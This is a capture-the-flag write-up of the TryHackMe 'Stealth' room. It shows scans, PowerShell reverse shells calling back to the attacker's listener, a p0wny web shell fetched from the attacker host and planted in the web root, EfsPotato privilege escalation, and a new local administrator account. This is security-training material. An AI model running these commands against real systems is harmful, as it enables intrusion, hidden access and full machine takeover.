# Stealth

**Room Link:** <https://tryhackme.com/r/room/stealth>

## **Scans** <a href="#scans" id="scans"></a>

Initial scan

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7mN6ChcJJO2Ref8JFbRD%2Fimage.png?alt=media&#x26;token=423dbc7b-4357-4195-84b9-c5742e865621" alt=""><figcaption></figcaption></figure>

Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMWpuSn3bhRS8kKL8jTRP%2Fimage.png?alt=media&#x26;token=3bc1a143-6ede-4dce-bb1f-a064427b6a98" alt=""><figcaption></figcaption></figure>

## **TCP/8000 - HTTPS**

**Kali**

```
```

## **TCP/8080 - HTTPS**

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNOEsIgrvmtFwWbumyD0G%2Fimage.png?alt=media&#x26;token=eda3ff71-589a-4e51-aeb5-a9b03c5d7e05" alt=""><figcaption></figcaption></figure>

## **Initial Shell**

**Kali**

```
rlwrap nc -lvnp 4444
```

### **Shell #1 attempt**

This shell didn't work

**Kali**

```
git clone https://github.com/samratashok/nishang.git
cd nishang/Shells/
subl Invoke-PowerShellTcp.ps1
```

**Kali(subl)**

```
Invoke-PowerShellTcp -Reverse -IPAddress $KALI -Port 4444
```

### **Shell #2 attempt**

This shell worked

**Kali**

```
git clone https://github.com/martinsohn/PowerShell-reverse-shell.git
cd PowerShell-reverse-shell/
subl powershell-reverse-shell.ps1
```

**Change this line to Kali IP**

**Kali(subl)**

```
Net.Sockets.TCPClient('$KALI', 4444)
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJaiIapUCvJV3Pf9JjFa0%2Fimage.png?alt=media&#x26;token=d9e2ef95-5b47-42a7-b2fe-f71db7c3ab54" alt=""><figcaption></figcaption></figure>

**Victim**

```
cd C:\Users\evader\Desktop
dir
type encodedflag
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FxZTBdYGhCsvx7yc2Dxnj%2Fimage.png?alt=media&#x26;token=812b0ef8-957b-44e8-81e3-44919b1bf449" alt=""><figcaption></figcaption></figure>

**Kali**

```
echo WW91IGNhbiBnZXQgdGhlIGZsYWcgYnkgdmlzaXRpbmcgdGhlIGxpbmsgaHR0cDovLzxJUF9PRl9USElTX1BDPjo4MDAwL2FzZGFzZGFkYXNkamFramRuc2Rmc2Rmcy5waHA= | base64 --decode
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FjsK0xiHhJrylmUw5uZtq%2Fimage.png?alt=media&#x26;token=560fa706-f961-49d5-a39e-ca23e837b7de" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FI9O5FP5tA3cLEWAWCqC2%2Fimage.png?alt=media&#x26;token=19a5195d-634f-4f66-900b-858ffe60939c" alt=""><figcaption></figcaption></figure>

**Victim**

```
cd C:\xampp\htdocs\uploads
del log.txt
```

refresh the page and we can see the flag now.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQV83EyHuqdoNJmrFIAg0%2Fimage.png?alt=media&#x26;token=e4a0da24-7b90-47bc-94f2-0169f699c88b" alt=""><figcaption></figcaption></figure>

## **Lateral Movement**

Going by privs we don't have much but since we have web I tried adding a new shell and seeing if we get anything from it.

**Victim**

```
whoami /priv
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7qekQTmilj2go5mJYY7F%2Fimage.png?alt=media&#x26;token=2ed47480-504f-4181-a409-d54dc0a0b243" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/flozz/p0wny-shell.git
cd p0wny-shell/ 
python2 -m SimpleHTTPServer 82
```

**Victim**

```
cd C:\xampp\htdocs
iwr -uri "http://$KALI:82/shell.php" -o shell.php
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FD50RWzm0AYzjtNFQEkUQ%2Fimage.png?alt=media&#x26;token=9839aae6-cef7-4048-bf3b-b41f8a28be35" alt=""><figcaption></figcaption></figure>

Even though we're the same user this shell has SeImpersonatePrivilege enabled

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhXnFQgJs9g2GwKj46DgK%2Fimage.png?alt=media&#x26;token=752af8de-53ed-4a33-942e-7af244dbfcb8" alt=""><figcaption></figcaption></figure>

### **Privilege Escalation**&#x20;

I tried printspoofer but I couldn't execute the exe.

### **Attempt #1**

**Kali**

```
git clone https://github.com/dievus/printspoofer
cd printspoofer/
python2 -m SimpleHTTPServer 82
```

**Victim**

```
cd C:\Users\evader\Desktop
iwr -uri "http://$KALI:82/PrintSpoofer.exe" -o PrintSpoofer.exe
PrintSpoofer.exe -i -c whoami
```

### Attempt #2

We can see a EFI folder so looks like a clue on what to do.

**Victim**

```
cd C:\
dir
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEhR1d83eR5mPE5cMSsBv%2Fimage.png?alt=media&#x26;token=d032924f-2561-4eb0-b964-37d68cab8f9e" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/zcgonvh/EfsPotato.git
cd EfsPotato/
python2 -m SimpleHTTPServer 82
```

**Victim**

```
iwr -uri "http://10.10.252.180:82/EfsPotato.cs" -o efs.cs
```

**Victim(p0wny-shell)**

```
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe efs.cs -nowarn:1691,618
efs.exe "cmd.exe /c net user user password@123 /add && net localgroup administrators user /add"
```

**Kali**

```
remmina
Username: user
Password: password@123
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F879DjsA2QiMuZeFpCx8T%2Fimage.png?alt=media&#x26;token=97513b53-a77a-4f2c-9439-0294d86d5d76" alt=""><figcaption></figcaption></figure>
